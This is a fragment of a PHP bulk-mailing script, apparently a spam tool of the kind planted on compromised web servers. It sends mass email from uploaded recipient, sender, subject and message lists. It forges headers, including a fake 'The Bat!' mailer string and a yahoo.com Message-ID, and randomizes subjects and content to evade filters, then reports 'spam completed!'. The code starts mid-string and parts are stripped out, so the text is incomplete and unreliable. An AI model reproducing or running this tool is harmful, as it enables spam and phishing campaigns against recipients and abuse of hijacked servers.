"); $mailCR=chr(13).chr(10); if( function_exists("mail") ) {echo(''.chr(13).chr(10));} $rndshum= "¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ˆˇˉ˘˙˚˛˜"; if(!function_exists('stripos')) { function stripos($haystack, $needle, $offset = 0) { if ( $offset<0 ) {$offset=0;} if ( $offset>strlen($haystack-1) ) {$offset=strlen($haystack-1);} return strpos(strtolower($haystack), strtolower($needle), $offset); } } function get_sec() { list ($usec, $sec) = explode(" ", microtime()); return ( (float)$sec ); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function sendemail($from,$to,$subject,$message,$type,$hscs){ global $attach, $base_name, $isfile; global $mailCR; $sep = $mailCR; $arrfirstw = array("Voi", "Per", "Per voi", "Di","Loro", "Suo", "Lui"); $firstw = $arrfirstw[rand(0,count($arrfirstw)-1)]; $bound = md5($from.$to); //$headers = "Content-type: text/plain; charset=\"windows-1252\""; $headers = "From: ".$from."<".$from.">".$sep; $headers.= "To: ".$to.$sep; $headers.= "Subject: ".$firstw.": ".$to." ".$subject.$sep; $headers.= "X-Mailer: The Bat! (v3.".rand(1,99).".".rand(1,19).") Professional".$sep; $headers.= "Reply-To: ".$from.$sep; $headers.= "Mime-Version: 1.0".$sep; $headers.= "Date: ".date("D, j M Y G:i:s")." +0100".$sep; if ($hscs!=''){ $headers.= "X-Hashcash: ".$hscs.$sep; } $headers.= "X-Sender: <" . $from . ">".$sep; $headers.= "X-Priority: ".rand(2,4).$sep; $headers.= "Message-ID: <".md5($from.".".$to.".".$subject)."@yahoo.com>".$sep; $headers.= "Content-Transfer-Encoding: 8bit".$sep; $headers.= "Content-Type: multipart/mixed; boundary=\"".$bound."\"".$sep.$sep; $body = '--'.$bound.$sep; switch($type){ case 'text': $body.= "Content-type: text/plain; charset=\"windows-1252\"".$sep;break; case 'html': $body.= "Content-type: text/html; charset=\"windows-1252\"".$sep;break; } $body.= "Content-Transfer-Encoding: 8bit".$sep.$sep; $body.= $firstw.": ".$to." ".$subject." ".$message.$sep; for($a=0;$a Mail
From (Email):
Single:
* - email only
From (Email):
List:
To:
Subject
Single:
* - subject only
Subject
List:
Message:
Single:
Message:
List:
Attach:
Attach:
Attach:
Empty:
Format
text     html
'); ///////////////////////////////////////////////////// $length = ob_get_length(); if($length>0){ header("Content-Type: text/html",true); header('Connection: close',true); header("Content-Length: " . $length,true); header("Content-Encoding: none",true); header("Accept-Ranges: bytes",true); while (ob_end_flush()); ob_flush(); flush(); } } else { $mode= $_POST['mode']; echo('start '.$mode); $gtnum= '='; $gtnum= $_POST['gtnum']; switch($mode) { case 'send': { ///////////////////////////////////////////////////////////////////// if(isset($_FILES['filename']['tmp_name'])){ $attach = ''; for($h=0;$h\n"); $isfile= 1; } } else {$isfile = 0;} if($_POST['fromtype']== 'single') {$fromname= trim(htmlspecialchars(@$_POST['from'])); $listf= 0;} if($_POST['fromtype']== 'list') { $listf= 1; $msgfile= file($_FILES['fromlist']['tmp_name']); echo(' add back addr:'.count($msgfile)."
\n"); } if(isset($fromname)) {$from= trim($fromname);} $subjtype= $_POST['subjtype']; if($subjtype== 'list') {$subject= file(@$_FILES['subject']['tmp_name']); echo(' add file subjects: '.count($subject)."
\n");} else {$subjtext= htmlspecialchars($_POST['subject']);} $type= $_POST['type']; echo(' type: '.$type.' '); if($_POST['mestype']== 'single') {$message= trim(htmlspecialchars($_POST['message']));$listm= 0;} if($_POST['mestype']== 'list') { if(isset($_FILES['messagelist']['tmp_name'])) { $messagelist= file_get_contents($_FILES['messagelist']['tmp_name']); $crc_texts= crc32($messagelist); $messagearr = explode("###",$messagelist); echo(" texts: ".count($messagearr)); $listm= 1; $message= "list!"; } else { die('message file not found!'); } } if($type== 'text'){$message= trim($message);$crc_texts= crc32($message);} if(!$message) {echo("empty message"); exit;} $to_arr= file(@$_FILES['to']['tmp_name']); echo("to: ".count($to_arr)); $num_send = 0; $num_error= 0; $to_arrlen= count($to_arr); $i= 0; $time_start= get_sec; $time_end= get_sec; while( ($i<$to_arrlen)AND(($time_end-$time_start)<600) ){ srand(crc32(trim($to_arr[$i])+"::"+$crc_texts+"::"+$i)); if (($num_error>20)and($num_send<40)){echo("num_error>33%");break;} if(is_array($subject)) { $r= rand(0,count($subject)-1); $lsubject= trim(htmlspecialchars($subject[$r])); } else { $lsubject= trim(htmlspecialchars($subjtext)); } if($listf== 1) { $fr= rand(0,count($msgfile)-1 ); $from= trim(htmlspecialchars($msgfile[$fr])); } $to_a=''; $hscs=trim($to_arr[$i]); $pos = strpos($hscs, '>>'); if ($pos === false) { $to_a = trim($hscs);$hscs= '';//echo('no --'); }else{ if ($pos>0){$to_a = trim(substr($hscs, 0, $pos));}else{$to_a = trim(substr($hscs, 0));} //echo('A --'.$Hscs); $hscs = trim(substr($hscs, $pos+2)); //echo('H --'.$Hscs); } if ($to_a!=''){ if($listm== 1) { $t= rand(0,count($messagearr)-1 ); $newmsg= trim(htmlspecialchars($messagearr[$t])); if ($i>($to_arrlen-3)) {$lsubject = $gtnum.' - '.$i.' - '.$lsubject;} if (sendemail($from,$to_a,$lsubject,trim($newmsg),$type,$hscs)){$num_send++;} else{$num_error++;} } else { if(sendemail($from,$to_a,$lsubject,trim($message),$type,$hscs)){$num_send++;} else{$num_error++;} } } $i=$i+1;$time_end= get_sec; }//while echo('
spam completed!
'."\n"); echo("
\n".' sent : '.$num_send.' errors: '.$num_error.'
'); ///////////////////////////////////////////////////////////////////// } default: break; } $length = ob_get_length(); if($length>0){ header("Content-Type: text/plain",true); header('Connection: close',true); header("Content-Length: " . $length,true); header("Content-Encoding: none",true); header("Accept-Ranges: bytes",true); while (@ob_end_flush()); @ob_flush(); @flush(); } } ?>